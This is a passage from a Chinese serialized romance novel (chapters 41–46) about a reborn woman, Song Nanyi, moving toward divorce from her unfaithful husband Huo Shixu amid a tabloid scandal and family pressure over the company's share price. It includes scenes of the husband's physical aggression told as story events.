装修古朴的书房,门开着。
有苏语安低声啜泣的声音,也有霍明达怒骂隐忍的声音,偶尔也会传来孙爱芸几句讥诮。
反倒是没有听到霍时序说话。
站在不远不近的地方,宋南伊不知道,该不该参与进去。
步子微微顿过后。
她扭头,回了自己的卧室。
她的心很平静。
甚至,她觉得霍明达这是白费功夫。
霍时序和苏语安,注定是会一起的。
前世他们没到生孩子这一步。
现在孩子怀上了,以霍时序的性子,他肯定不会让这孩子,成为私生子。
离婚,箭在弦上。
就是这个过程太熬人。
路姐敲了敲门,小声说,“太太,先生的父亲,请您去书房一趟。”
“知道了。”宋南伊把最后一件衣服装好。
手提袋,拉好拉链。
这才提了一口气,走进了乌烟瘴气的书房。
霍时序和苏语安都跪在地上。
苏语安的脸上,巴掌手印明显。
霍时序白色的衬衣后背,也有些脏。
害。
还真是一对苦命的鸳鸯。
一旁的孙爱芸,不停地捋着霍明达的心口,给他顺气。
宋南伊反倒不知道该说什么好了。
“爸,妈。”
“南伊,明天……哦不,现在,我就让江淮把这女的,送出江城。”霍明达像是来真的,语气和态度,明显同以往不同,“以后,要是让我再发现,他们有联系,这儿子,我也不认了。”
宋南伊眉心微动。
她想到了前世,苏语安是在往江城送的时候,发生了那样惨死的事情。
这一世,还会死吗?
江淮到得很快,准确地说,他一直也没走,就在门外候着。
带苏语安离开的时候,她没撕心裂肺地哭。
楚楚动人的眼眸里,盛满了委屈的泪水。
就那么巴巴的,看着霍时序。
像风雨中摇曳的小白花。
破碎感拉满。
宋南伊忍不住看了霍时序一眼。
他的心一定碎了。
“江淮,照顾好她。”霍时序说。
江淮点头,似乎早已与霍时序达成了某种约定一般。
带苏语安离开。
霍明达说了几句体面的话,也带着孙爱芸走了。
刚刚还挤满人的书房,一瞬间,变得空荡又冷清。
霍时序脸色明显不悦。
抽了根烟递到唇,边点烟边说,“非得闹成这样,心里痛快了?”
宋南伊听得来气。
他这是在指责她?
这与她又有什么关系?
“心里不爽,可以再去找爸理论,实在不过瘾,可以直接去找爷爷,大可没必要,在我身上找存在感。”
她扭头要走。
他吸了口烟,拿起遥控器,打开了某个软件。
旋即有声音出来。
“霍家少奶奶在医院,与江城金牌律师,相拥在一起,疑似座实婚变。”
播音腔里的绯闻。
惊得宋南伊心头一颤。
她猛然回头,望了过去。
墙上那块投屏上,正在轮番播放着,她和陆为谦相拥的照片。
近景远景,连每一个微小的动作都没放过。
“解释一下吧。”他吐出一口烟雾,无名指的指腹,蹭了蹭眉梢,“抱在一起是什么感觉?”
宋南伊不知道,这样的照片是怎么拍到的。
清晰到,像是有意而为。
她笑了,笑霍时序的卑鄙。
为了在离婚时,占尽好处,他竟然无耻到这种地步。
“你找人拍的?”
“我?”霍时序舌尖顶在口腔,蓦地笑了。
他摁灭了指尖的烟卷。
扣住女人的手腕,将她抵在书桌的边缘。
“宋南伊,你现在连装也不装了?你和陆为谦到底发展到什么地步了?”
宋南伊平静的,望着他透出危险的眸子。
他是因为爱她而嫉妒吗?
不。
是他的占有欲在作祟。
他不允许她在他的世界里,兴风作浪。
挺可悲的。
无论是亲情还是爱情,还是什么别的情,最后总是这样的不顾脸面,彼此伤害。
这一世,她改变了所有人的走向。
包括,眼前的男人。
“至少,我们没有弄出一个孩子。”
男人眼眸压紧,“你什么意思?”
“别装了。”
“你把话说清楚,什么孩子?”他压着她,不让她离开,像审判者,“宋南伊,你这是在反咬一口?谣不是随便造的。”
她望着他近乎扭曲的脸。
心酸地推开他,“如果你认为是我造谣,那就是吧。”
宋南伊现在连解释都懒得做。
没爱了,做什么也是多余。
霍时序不傻。
他和宋南伊之间,出了大问题。
不是因为任何人。
宋南伊转身要离开。
他还是抬手握住了她的胳膊,“去哪儿?”
“回医院,照顾我妈。”
“江淮今天把药拿来了。”他拉开抽屉,将一盒没有任何文字的药,拿了出来,“本想着,一会儿去医院给你送,正好你回来,就带回去吧。”
“不用了。”宋南伊浅声拒绝。
她知道,霍时序肯定是想要理由。
便又补了句,“陆蔓实验室的药物效果很不错,我已经跟她联系过了,会把我妈送到那边治疗。”
陆蔓是陆为谦的姐姐。
霍时序跟她还算熟。
宋南伊这么做,明显是要彻底的跟他划清界限。
“舍近求远?”他突然觉得自己像个笑话,“宋南伊,你挺会杀人诛心的。”
“你不也一样吗?霍时序,是你最先背叛了我们的爱情,是你把我杀死的,那种痛,我忘不掉的……”她不想再重复前世的冰冷。
她笑着,眼底是绝美的光,“霍时序,好好跟苏语安过日子吧,无论你们是真心还是假意,我都希望,你们狠狠的锁死,不要再去祸害别人。”
“你……”他心痛地望向她,“……我们之间,不应该变成这个样子,南伊,我们那样的相爱过,你真的忍心,我们因为误会,变得越来越陌生吗?”
第42章 即要,又要
宋南伊不为所动。
她的心早已经死了。
他欠她的。
前世今生。
“我回医院了。”
宋南伊抽回了自己的胳膊,回了卧室,拿手提袋。
低头,有水滴到她的手背上。
她笑了,真没出息。
宋南伊拎着袋子下楼。
男人站在台阶之上,失神地望着她。
“南伊,我们真的回不去了吗?”
她脚步一怔。
漂亮的眉眼缓缓垂下。
“霍时序,如果你肯在苏语安和星言之间,选择了星言,或许……,是你就把我们这段关系,彻底的结束了。”
“你难道没有想过,为什么,我宁愿选择别人,也不接受你的药,为我妈来治疗?”
“因为你不值得信任,你可以放弃我,放弃星言,你就会放弃我的每一个家人。”
“我可以被你伤害,但不是接二连三的。”
声音很轻,却字字清晰。
她想让他知道,她的人生中,从此爱情不再重要,他也不重要。
霍时序的墨眸深邃。
他知道宋南伊恨他。
但没想到,她这么恨他。
声音变得哽哑,“星言的事情,是我考虑不周。”
宋南伊笑了。
轻描淡写的,他就想把这事带过去。
可见,这事在他心里,根本就没有重要过。
她不重要,宋星言站不站得起来更不重要,母亲的生死对他来说,更是可有可无。
还有什么好说的呢。
“我走了。”
“南伊。”他从楼下跑下来,紧紧地拥住了她,“南伊,在我心里,你是最重要的,星言的事情,只是意外,以后不会了。”
宋南伊冷笑。
她能感受到,他有那么一丝的后悔。
但这并不是对曾经做过的荒唐,产生的愧疚。
是他得到苏语安的同时,也不愿意放开她的手。
在三个人的情感中。
他即要苏语安,又要紧紧地抓着她。
她挺瞧不起他的。
更不会原谅他。
……
宋南伊送了母亲进了陆蔓的研究所。
陆蔓说,治疗是根据身体的变化而变化,除非特殊情况,不允许天天探望。
治疗周期根据病情,延长或减少。
她没什么不放心的。
还送了LV的纱巾,算是对陆蔓的感谢。
“等我妈病好了,我请姐姐吃饭。”宋南伊说。
陆蔓对宋南伊谈不喜欢,但也不讨厌,“你也不用太客气,我看为谦对你的事情挺上心的……听说,他在帮你打离婚的官司?”
家事。
宋南伊并不想多提。
只是淡淡地点了个头,“是。”
宋南伊不愿多说。
陆蔓也识眼色的,没有再问下去,“行了,回去吧,如果有问题的话,我给你打电话。”
“辛苦你了。”
安顿好母亲。
宋南伊的日子恢复平静。
她和霍时序约定过。
三个月的时间,都要住在老宅。
霍正诚的身体这段时间并不算好,家里家外的气氛,都透着深深的担忧。
他这辈子最大的心愿,就是早日抱上重孙子。
她是帮不了这个忙了,苏语安兴许能成。
老宅很大。
分东西南北四个苑。
老爷子住在北苑。
霍明达和孙爱芸住在东苑。
她和霍时序住在南苑。
只有用餐的时候,大家才会聚在一起。
平日里很少碰面,宋南伊住得还算自在。
晚上,她约了裴吟吃饭。
这段时间过得太压抑。
用餐时,她喝了几杯。
“要我说啊,都要离婚了,也不必为霍时序守什么身,如什么玉的,他能跟苏语安搞出孩子来,你也别委屈着自己,晚上,我找几个男模,好好痛快痛快。”
裴吟这性子。
说风来雨,不管不顾的。
她就看不得宋南伊愁眉不展。
“我还没离婚呢,这要是让霍时序知道了,这婚更难离了。”宋南伊无奈摇头,“我要真有需求了,可以买几个小玩意。”
裴吟摸着下巴,想了想,“倒也是,那要不,我陪你出去玩几天?反正现在阿姨在治病,你也不能天天见到,出去透透心情,人生又充满希望了。”
宋南伊苦笑。
离不了婚,她人生哪来的希望。
还是一醉方休,来得实在。
出餐厅时。
宋南伊喝有些醉。
路边有很多代驾的,凑过来问,需不需要服务。
在众多的代驾中,宋南伊看到了一张熟悉的面孔。
定神,又看了一眼。
确定这个人就是苏语安的亲弟弟。
她将车钥匙,直接扔给了他,“会开吗?”
“会,会。”男孩受宠若惊,想搭把手,帮着裴吟将宋南伊送到车上。
又怕误会和讨厌。
便将手缩了回去,跑去开了车后排的门,“姐姐,请上车吧。”
“小嘴还挺甜的。”裴吟把宋南伊送上车后,对男孩说,“阳山大道,霍家大宅,定个位,很容易找到。”
“好的。”
不知道是被风吹醒了。
还是看到男孩这张脸,宋南伊突然醒了。
上车后。
她透过前排后视镜,看他。
偶尔间,两人目光撞到一起,男孩的脸颊绯红,手足无措。
“姐姐,是不是我开车技术不太好,让你感觉不舒服了?”
他略显紧张,声音中透出一丝不自然。
“你开得其实很稳。看你模样,应该才十八岁左右吧?”宋南伊笑笑。
男孩微微一愣,不好意思地咧嘴:“姐姐,你可真会猜。”
“那你叫什么名字呢?”宋南伊她很刻意的,让自己的语气,充斥着好奇与亲切。
男孩老实地回答:“我叫苏景晨。”
“这么小的年纪,就开始出来打工了。家里的大人能放心吗?”
宋南伊看似随意,却将探究,掩藏得恰到好处。
男孩心性单纯,问什么就回答什么,也不藏不掖。
“我很小就不上学了,父母在乡下,也没精力管我。”
“你们家就你一个孩子吗?”
“我还有两个姐姐,大姐出嫁了,二姐比我大一岁,但我们长得很像,别人都以为我们是双胞胎。”
男孩的脸上浮现出一抹温暖的笑容。
连眼眸里,都闪着光。
前世,宋南伊没见过苏语安的家人。
送她离开江城的时候,她说要回眷村。
难不成……,她的父母都在那个村里?
“景晨,你老家是哪的啊?”
“眷村,姐姐听说过吗?挺小的一个村子。”
果然。
一切都对上了。
她很想知道,苏语安现在做霍时序的小三,跟家里人是怎么讲的。
“那你大姐出嫁了,你二姐现在做什么?她跟你年纪相仿,是还在上学吗?”
“我二姐其实,挺惨的。”苏景晨神色微黯。
“怎么说?”
“我二姐原先有个男朋友,她男朋友家拆迁的时候,出事了,后来就死掉了,她挺爱她男朋友的,一直跟他妈妈一起住,照顾她。”
宋南伊皱眉。
苏语安,是这么跟家里的交代的?
挺能扯谎的。
第43章 将她压在了浴缸里
“那你们经常见面吗?”
苏景晨摇头,“很久没见过了。”
说话这功夫。
车子开到了霍家大宅的门前。
车灯亮起的地方,有一个人影在站着。
男人刹车踩得急。
宋南伊的身子跟着晃了一下。
“对不起,姐姐,我没看到那儿站着一个人。”男孩吓坏了,额头上都是汗珠。
“没事。”
她从包里拿了两张钞票,塞给他,“这是你的辛苦费。”
“姐姐,太多了。”
“你这么小,出来打工不容易,拿着吧。”
宋南伊弯身下车。
霍时序已经走了过来。
“这是喝了多少,还叫上代驾了?”他的眼神在苏景晨的身上,扫了两眼后,“年纪这么小,有驾照吗?宋南伊,你胆子是越来越大了。”
霍时序声音沉厚。
一开口,就把苏景晨吓得一动也不敢动。
“哥哥,我有驾照。”他小心翼翼地解释着。
这种富人区,他第一次来,生怕惹上事非。
紧张的,从包里拿出驾照,给霍时序看。
宋南伊看了苏景晨一眼,“行了,没你的事了,回去吧。”
“哦。”
看着男孩的电动车走远。
宋南伊看向霍时序,意有所指地问,“看他面熟吗?”
霍时序眉心皱起,“什么?”
“你没觉得他像一个人吗?”
霍时序还是没明白,“像谁?”
“像你的心头肉。”
宋南伊笑着,将包搭在肩上,扭着腰肢,往老宅里走。
她的酒彻底醒了,就是有点头疼。
一走进卧室,她就脱掉了衣服去浴室泡澡。
刚刚将脸上覆上面膜。
霍时序就推门走了进来。
“你刚刚那话是什么意思?”他气息还算平和,看起来,不像是要跟她吵架。
宋南伊覆着面膜,不方便说话。
喃了句,“没什么意思。”
重生回来以后。
她心力憔悴。
感觉自己老了好几十岁。
她急需回春,找回自信,找回活着勇气。
“那男孩叫什么?”
他似乎对她刚刚说的话,产生了怀疑。
也或许是,他真的察觉出来,男孩跟苏语安长的很像。
宋南伊不想让他,白捡这个大便宜,“没问。”
“那你阴阳怪气什么?”他抬手解衬衣的扣子。
看样子,他是想跟她一起泡这个澡。
前世,他们恩爱那会儿。
晚上一起泡澡,这是标配。
不仅泡,还会做羞羞的事情,有时,还做好几次。
显然,他是想跟她重温这个旧梦。
宋南伊突然握住了他的手腕,制止了他解最后一粒扣子,“霍时序,我挺想知道,你把苏语安送到哪儿去了?”
他不知道为什么,听到她的在乎,心情突然就变好了。
脸上的笑容也开始荡漾了起来。
“你还是很在乎。”
宋南伊现在脑子没那么不清醒。
也没有贱到,非得挽回霍时序的心。
他前世害死她这事,她没忘。
“我是想知道,你们避开霍家人,在哪里约会而已。”
男人黑了脸。
他觉得,他们真有必要好好的,聊一聊。
“我们谈谈吧南伊,把心里痛快的,不痛快的,全部聊透,这次,谁也不要生气,也不要中途离场,好好地谈,行吗?”
宋南伊察觉到,霍时序是有意要挽回这段关系。
但她不想。
“那你先把离婚协议书签了,我保证跟你聊个三天三夜。”
“你跟我好好聊,我可以签。”
他又把主动权,握进了自己的手里。
这是令宋南伊不快的。
凭什么,他要掌控这段关系?
“既然你没有诚意,那还谈什么?”她将面膜揭下来,扔到一旁,“霍时序,我们之间就这样了,三个月马上就到了,到时,我们把所有的事情摆到桌面上,该是你的,该是我的,都分清楚就好了。”
霍时序心跟着冷了。
宋南伊陌生的,令他招架不住。
他们之间,本不该这样。
“我们之间是有什么深仇大恨吗?宋南伊,你还是那个宋南伊吗?”
“你呢?”宋南伊眸色骤然,“你曾经说过,你这辈子只会爱我一个,你做到了吗?你也在变不是吗?你凭什么要求别人要对你从一而终?不觉得是笑话吗?”
这世界上,从不缺可靠的伴侣。
霍时序不是,不代表,她再也找不到忠诚的。
男人如抹布。
脏了就扔掉,现在一次性的挺多,根本不值得去在意这一块。
霍时序被气得不轻。
抬手握住了宋南伊的脖子。
她倔强地凝望着他,红唇微启,丝毫没有恐惧,甚至还有一点性感。
他有多久,没有好好看过他的妻子。
曾经,她是全江城男人心中,可望不可即的白月光。
是他运气好,才将她娶到了身边。
他发过誓,这辈子要保护好她。
可现在呢?
她的心里,有了别的男人,那个陆为谦,究竟哪里能比得上自己?
一想到,宋南伊心里不再有他的位置。
霍时序跟疯了似的,噙住她的唇,攻城掠池般地跟她接吻。
他根本顾不上得脱下衣服,就将她压在了浴缸里。
怒气,胜过爱意。
她被他死死钳制住,只余下眸子猩红。
“霍时序,你能不能更浑蛋一点?”她被呛了水,小脸涨得通红。
像他第一次吻她的时候。
他很想要她,在这里,像以前那样,他们狠狠地做,一次又一次,直到精疲力竭,相拥睡去。
他想回到那个时候。
可他知道,回不去了。
对视半晌。
他从湿透的裤子口袋里,拿出一条粉色的钻石项链。
宋南伊认得。
跟苏语安生日时,他送的那条维那斯的眼泪,是姐妹款。
这条更昂贵一些。
她觉得挺讽刺的。
这是想让她和苏语安做姐妹吗?
“送你的。”他想给她戴上。
宋南伊拒绝了,“我不要。”
“不要也得要。”他坚持。
像是礼物送出去了,宋南伊就应该能跟他和好一样的。
宋南伊抵不住他的力气。
项链还是戴在了她的脖子上。
“霍时序,你这样做,没有任何的意义。”她扯过一条浴巾,将身体裹住,走出浴缸,“我们之间的关系,不会因为一条项链,就会发生改变。”
“扯那么远干嘛?只要你一天是我老婆,我就愿意。”
他走到她身后,将她圈进怀里,声音低沉暗哑,“其实,我知道,你不喜欢陆为谦,你就是为了气我,对吗?”
“那你喜欢苏语安吗?你也是为了气我?”她不觉得霍时序,幼稚到这种程度,“我们不是小孩子了,也不是承受不起被爱情背叛的年纪,还是仰起头,往前看吧。”
感情没了就是没了。
说一些有的没的,没任何意义。
霍时序的眸色,渐渐暗下,她是真的不爱他了……
第44章 掐着脖子跟她接吻
夜色葱茏。
霍时序的车子开出老宅。
一路疾驰。
车里的两个男人,沉默不语。
许久,江淮的声音,低低响起,“霍总,苏小姐的血小板指标,还是没有升上来,看情况不太乐观,恐怕……”
“不是已经用了最好的药了?”他低声愠怒。
江淮大气不敢出,“效果一直不好,不过……我查到苏小姐还有一个弟弟,在江城,要不要……”
江淮将平板递到了霍时序的面前。
一张年轻的,充满活力的男孩的脸,就这么猝不及防的出现在了他的面前。
男人微微压下眸子。
好眼熟啊。
这不是今天……
“他叫什么?”
“他叫苏景晨,他的血型与苏小姐一致,抗体也相同。”
似乎眼下并没有太好的办法,母亲的病拖不起,他捏起眉心,“备用吧,还是以苏语安为主,她的最合适。”
江淮收回平板,“知道了。”
夜隐。
霍时序的车子,缓缓地开进了一个神秘的小区……
……
翌日。
宋南伊起了个大早。
设计室在今天,有一个珠宝秀。
公司是主秀,主要为了招商,需要准备的东西很多。
一进公司。
就看到邓雪在忙着会场的事情。
“邓雪,准备得怎么样了?”
邓雪小跑过来,“老板,你放心,绝对不会出岔子。”
宋南伊还是很相信邓雪的能力。
抬眼。
看到了不远处的苏语安。
微微一怔,不是送走了吗?
她还以为,得很长一段时间,不会再见到这个女人。
“她……”宋南伊指尖锁定。
邓雪看了苏语安一眼,说,“假条到期了,她就来上班了。”
宋南伊猜。
应该是霍时序的意思。
但……他让苏语安在眼皮底下晃,又是什么意思呢?
宋南伊的眼神,透出揣摩不清。
今天的活动很重要,苏语安别给她作妖就行。
“看好她。”
“好的,老板。”
宋南伊踩着高跟鞋,去了自己的办公室。
前世。
她的心思都用在了霍时序的身上。
这个重要的发布会,她不仅没到场。
还在家里忙着自杀,上了头版头条。
也是从这次发布会后,工作室所设计的珠宝,在江城慢慢地失去了竞争力。
这是她赖以生存的。
这世。
她绝不会再重蹈覆辙。
今天进进出出的合作伙伴很多,也有媒体到场。
邓雪很给力,邀请了几位崭露头角的流量小花和小生。
由他们在站台。
今天的闪光灯,格外的耀眼。
活动有条不紊地进行着。
很多客商,拿出诚意,订了下季的新品。
宋南伊忙着跟合作伙伴签合同。
邓雪就忙着现场调控。
没人给苏语安安排工作,她就坐在那儿。
脸,白的没有血色。
也没人知道她在想什么。
签完最后一单,宋南伊抻了抻腰,“来年,我们有的忙了。”
她很满意。
举手投足间,尽是对未来的展望。
邓雪忙给她倒了杯咖啡,送到面前,“没想到,这次活动的反馈这么好,来年,我们办个更大招商会,怎么样,老板?”
“霍氏的珠宝公司,并入我们工作室旗下后,我们的体量翻了一倍还要多,来年,我们不止活动要做大,业务也要做大。”
宋南伊很有信心。
本来,她就是这一行的绝对绞绞者。
邓雪一想到,未来,自己的奖金要翻倍,从心里往外溢的开心,掩也掩不住,“来年,我要是赚了钱,就可以买房了,真高兴。”
“一定会的,加油。”
“嗯。”
有同事跑进来,向宋南伊汇报,“老板,霍总来了,正在外面发火呢。”
宋南伊压眸。
他跑到自己的地盘,发的哪门子邪火?
“怎么回事?”
同事也是一脸倒霉的说,“都是苏语安的事儿。”
“你赶紧说啊,要不然,一会儿霍总打进来了。”邓雪急得不行。
“老板,就是那个苏语安,非要去搬那个长梯,那梯子可重了,两个大男人都抱不住……结果,梯子就把她砸倒了,刚好这时,霍总一步迈了进来,看到她倒在那儿,就……大发雷霆。”
邓雪哂。
还真是巧。
算计好的吧?
这个苏语安,长得就茶里茶气的,还跟霍时序搞破鞋。
怎么没砸死?
“人怎么样了?死了没有?”宋南伊觉得挺扫兴的。
邓雪瞪大眸子。
她家老板……竟然跟她想到一起去了。
“死倒是没死,但伤得不轻,老板,你要不要出去看看……”同事指向门外。
宋南伊起身往外走。
邓雪赶紧跟上。
苏语安被霍时序抱在怀里,满头是血,哼哼唧唧的。
霍时序不分青红皂白地骂。
有失体面。
工作人员吓得在原地,一动不敢动。
江淮抱着准备送出的礼物,送也不是,不送也不是。
“人受伤了,就送医院,发火能解决什么问题?”
宋南伊的语气平淡。
听起来有些不近人情。
苏语安立马委屈地哭了起来。
霍时序动了气,走到她面前,狠狠地掐住了她的脖子,“你故意的吧?宋南伊,你是不是故意的?”
他冷声质问。
宋南伊很轻的笑了一下,“既然你心里认定了,又何必来问我?”
他爱得着了魔。
只要苏语安有任何的风吹草动,他都会把这笔账算到自己身上。
他的大手掐得她,呼吸困难。
伤心有一点。
比起前世的死亡,要轻得许多。
宋南伊眼眶烧红。
像血一般,眼泪蓄满。
邓雪察觉了宋南伊的不对劲。
忙上前,“霍总,你先放开宋总吧,她快无法呼吸了。”
“时序哥,别为了我,伤了南伊姐,我自己没轻没重的。”苏语安虚弱得像个快死的人。
却依然宽容得不像话。
霍时序,最终是回归了理智,松开了宋南伊的脖子。
“如果语安有个好歹,这笔账,我会好好跟你算。”
霍时序撂下狠话。
眼中的绝情,和对苏语安的怜惜,让人陌生。
他抱起苏语安,快步离开了活动现场。
现场很多没有离开的客商,和工作人员,都在为宋南伊唏嘘。
明明,霍时序是她的先生。
为什么,这个男人却在紧张别的女人。
还掐脖子。
这分明是心已经不在了。
当年,霍时序和宋南伊的婚礼,可是惊动整个江城。
那样恩爱过的夫妻,怎么也走到了如此的境地。
人间,真的就没有爱情了吗?
“老板。”邓雪扶住了宋南伊。
霍时序不知道用了多少力,宋南伊白皙的脖子指痕明显,“老板,你感觉怎么样?要不要去医院?”
“不用。”
她习惯了霍时序面对,她和苏语安时的选择。
昨晚,他掐着她的脖子跟她接吻,是情趣。
刚刚……
他是想要掐死她。
他那么在乎苏语安,在乎到,那么多家媒体的面前,他依然失了分寸。
想必,霍家人又要糟心了。
邓雪看到了江淮刚刚放下的礼物。
“老板,霍总今天过来,大概是为了庆祝咱们活动的,我看他的助理,还送了礼物,要不要打开看看?”
箱子还挺重的。
邓雪想着打开,先给宋南伊看一眼。
她冷淡地说,“扔了吧。”
第45章 遗憾吗?
傍晚的时候。
霍时序掐着宋南伊脖子的照片,就已经在各大媒体上登顶。
霍氏股票,应声下跌,全线飘绿。
这场风波,在江城闹得人尽皆知。
媒体大肆夸大霍宋两家的关系,把二人的婚变,追溯到三年婚姻没有后代身上。
再加上,不知道哪里记者搞到了苏语安怀孕的消息。
更是爆出,不久后,霍时序迎娶苏语安过门,这样的惊人言论。
冷饭炒来炒去,全成了宋南伊的错。
霍家人急了,尤其是霍老爷子,更是病上加病,一病不起。
记者拍到,霍时序频繁出入霍家老宅,看望霍正诚的照片。
救护车更是来了很多次。
宋南伊不以为然。
除了脖子上,那一周才差不多淡下的掐痕,她没受任何影响。
探望母亲的时候。
南微问起她与霍时序最近的关系。
宋南伊淡的不能淡的说,“还是那样,三个月一到,我们就要着手离婚的事情了。”
“我听说霍老爷子病重,我还想着让你爸去看望一下。”
宋南伊觉得没必要。
霍家人,明面对她好像还不错。
其实,全是为了霍家的利益着想。
这种时候,未必肯给宋家一个好脸。
“不用了,有事的话,他们会通知我的。”
南微心疼女儿。
她还记得,宋南伊结婚的时候,那满脸的幸福。
现如今……
“遗憾吗?”母亲问。
宋南伊谈不上。
前世的霍时序更决绝一些。
“妈,我时常在想,如果当年,我没有嫁给霍时序,一直单身,又或是……嫁与了别人,是不是结局不那么悲惨……”
女儿的眼中尽是疲惫和对婚姻的失望。
南微心疼地握着她的手,语重心长,“也许霍时序不是最好的选择,但是爱情无人能替代,你在这段爱情里所享受到的幸福和甜蜜,南伊,就算真的结束了,也是霍时序没有福气,不是你不够好。”
宋南伊听着,唇角淡淡。
这段感情里,背叛的是他,绝情是他,放弃的还是他。
她没有错。
“嗯。”
母亲的病情,没有恶化,陆蔓说指标有在变好。
宋南伊很期待,母亲有重新健康的那一天。
走出病房。
陆为谦走了过来,“阿姨情况怎么样?”
“挺好的。”
“那你呢?”他望着她,似乎在问她最近的状况。
宋南伊对于这种人尽皆知的事情。
也没什么好说的。
“就那样吧。”
“其实,这几天新闻上频繁报道的……事情,都可以作为离婚时的一些证据,对你有利。”站在律师的立场上,他更希望当事人,不要因为此事影响情绪,“这段时间,资料和证据也准备得差不多了,过两天,我会整理好,发一个PPT给你。”
宋南伊没想到,陆为谦的效率这么高。
不禁多看了他一眼。
“谢谢你啊,陆律师。”
陆为谦轻轻一笑,话题一转,“快过年了,给自己休个假,好好地放松放松,世界上绝大部分地方,是有阳光的。”
她望着他。
浅浅点头。
陆为谦长相极为清秀,没攻击性,说话的时候,总是抿着唇,带着淡而礼貌的笑意。
一副金丝眼镜的点缀,更是将他清峻自持,隐忍克制,衬托得很好。
陌上人如玉,或许说的就是他吧。
“陆律师,你真的是一个很好的人。”
突如其来夸奖,让久经沙场的陆律师,稍稍有一些脸红,“这好人卡,来得有点猝不及防。”
“是真的,我想你将来的太太,应该会是一个很幸福的人。”
陆为谦眼神一怔。
旋即轻轻地笑了。
“也许吧。”
“陆律师,有女朋友了吗?”她记得他应该是没有。
出于礼貌,她得问一嘴,才好继续进行下面的话题。
“还没有。”
“我有个朋友,你见过的,她叫裴吟,你们性格互补,我倒觉得你们挺适合做恋人的。”她说这话,其实也觉得唐突,但,前世……
前世,裴吟跟她提过一嘴。
她觉得陆为谦这个人沉默寡言的,挺稳重的,也许不适合做恋人,但绝对是一个好丈夫的人选。
那时,她和霍时序正热恋当中。
连陆为谦长什么样都很模糊。
后来因为霍时序,她和裴吟也断了联系。
再后来,她沉陷在和霍时序,苏语安的三角感情中,根本无暇顾及别人的感情。
这一世。
她对陆为谦有了初步的了解。
她倒觉得两个人,还挺合适的。
“陆律师,你要不……考虑一下?”
陆为谦有点尴尬,“再说吧。”
走出实验室。
宋南伊将裴吟的微信,推给了陆为谦。
他没拒绝。
……
宋南伊和霍时序以及苏语安的事件还在发酵。
霍氏股票,也是一跌再跌。
霍氏迫切需要,召开一场记者会,来洗清这个“误会”。
霍明达,亲自约宋南伊见一面。
地点,在霍氏楼下的咖啡厅。
“爸先替时序,向你道个歉,他这事做得不对,引发了这么大的舆论,爸羞愧啊……”霍明达拿出一张金色的银行卡,递到了宋南伊的面前,“这里面有三百万,快过年了,你去买几件新衣服,也给你父母和星言置办一些。”
宋南伊垂眸。
这么大的手笔。
她不认为,是真的给她买衣服的。
“爸,我有钱。”宋南伊没收。
霍明达还是坚持,“这是爸的一点心意,最近一段时间,时序他太不省心了,让你受了这么多的委屈,爸心里不好受啊。”
宋南伊不难猜出霍明达心思。
霍氏的危机,应该是这次他约自己见面,最想解决的事情。
“爸,你有什么事情,就直说吧。”
霍明达重重地叹息。
像是身上压着几重大山。
“那爸就直说了,爸希望你和时序共同召开记者招待会,就这段时间炒得沸沸扬扬事件,做个解释,爸知道这是为难你,为了霍氏的股价不再下跌,爸也只能这样求你了。”
宋南伊猜到了。
但心里还是很难过。
霍家的每个人,都把霍氏看得很重要。
嘴上的每一句关心,也不过是权衡利弊下的虚言妄语,毫无真心可言。
从未有一个人,真正关心过在这样的事件中,她到底受到了多大委屈。
宋南伊没说话。
霍明达理解为筹码不够。
“最近这一桩桩一件件的事情,爸也看明白了,你和时序是越走越远了,如果你肯帮霍氏度过这次危机,爸答应你,亲自下场,劝时序跟你离婚,另外……”
霍明达深呼吸,“……另外,霍氏的股份,在离婚的时候,我也会让时序分一些给你,绝不亏待你。”
血本够大。
如果宋南伊再不答应。
显得有些不识抬举。
第46章 狠狠的吻她
霍明达代表不了霍时序。
没有白纸黑字,她如何保证,他所说的就一定能做到?
“爸,时序他听您的吗?”
话一落地。
霍明达期待的表情中,明显透出一些不自在。
江城的人都知道,现在霍氏的总裁是霍时序,而霍明达这个父亲,只拥有一个霍氏副总裁的位置。
实权并不大。
宋南伊的这番反问。
就像当面,给了他一个耳光。
“南伊,你这是不相信爸?”
宋南伊耸眉。
要让她回答,她肯定回答,是。
但这样打脸的话,她也不想直给。
算是给霍明达留个面子。
沉默中。
霍明达,也能揣摩到宋南伊的几分意思。
“南伊,只要你肯答应,配合时序开一个记者会,澄清这段时间的舆论,让霍氏止损,爸答应你,马上让律师起草一份股份转让书,爸定不会亏待你。”
霍明达的承诺,听起来还算靠谱。
宋南伊本着,不见兔子不撒鹰的想法,想着拿到股权再说。
“爸,既然您都这样说了,那我……”她缓缓抬眸,看向霍明达沉肃的脸,“……等律师的消息吧。”
霍明达心里不爽快。
但自己答应的事情,为了霍氏,他又不得不马上去实施。
“爸说话算话。”
霍明达脸色不算好看地离开。
一坐进车里,就跟自己的秘书,说起了对宋南伊的不满。
“吃霍家的,穿霍家的,连霍家的股份也迫不及待地要,真是贪得无厌,标准的白眼狼,时序跟她离婚是对的。”
秘书额角颤然。
远远的,看着霍明达的车子开走。
宋南伊心情有点好。
……
回到老宅。
陈伯和孙爱芸都不在。
想必是在医院里照顾,被霍时序气病的老爷子。
看来,这个年,过不好了。
宋南伊去厨房,下了包面,还给自己卧了个鸡蛋。
好像重生以来,她就没有好好吃过一顿饭。
餐桌很大,她低头吃面。
陆为谦,给她发来了PPT,她边吃面,边看。
车灯扫过客厅。
宋南伊没抬眼,看完PPT,后面是陆为谦发的询问信息。
“明天晚上,在江城的情人桥上……有一场烟花秀,有兴趣一起看吗?”
宋南伊想借机,让陆为谦和裴吟,重新认识一下。
便答应了下来,“好啊。”
“那我们八点在桥上见,我们不见不散。”
“好啊。”
寥寥几句,宋南伊将手机扣在桌面上,继续吃面。
霍时序沉着脸走进来,一屁股坐到了她的面前,“听说,你非得要霍氏的股权,才肯出面开记者招待会?宋南伊,你胃口,会不会太大了?”
宋南伊吃完最后一口面。
将筷子放好,这才抬眼看向霍时序,声音冷淡,“我也可以不出面。”
“我已经答应你,离婚的时候,会好好跟你谈,你现在提要股权的事情,是想趁火打劫?宋南伊,你未免也太着急了。”
霍时序虽然在指责。
但语气和语速,却平静得如同聊天一般。
宋南伊不想理人,起身往楼上走。
他大手握住她的腰身,轻轻一扯,她便稳稳地坐到了他的大腿上。
宋南伊挣扎,“有话说话,这是干什么?”
“我发现你气性真的很大。”
那天,他确实有点冲动。
霍氏股价这几天的表现,已经对他做出了惩罚。
她还有什么放不下的。
“那天……我道歉。”他说。
宋南伊不是很难理解,霍时序的心理。
只要苏语安在,他就会失去理智。
转眼回到家里,他就又变成了另外一副面孔。
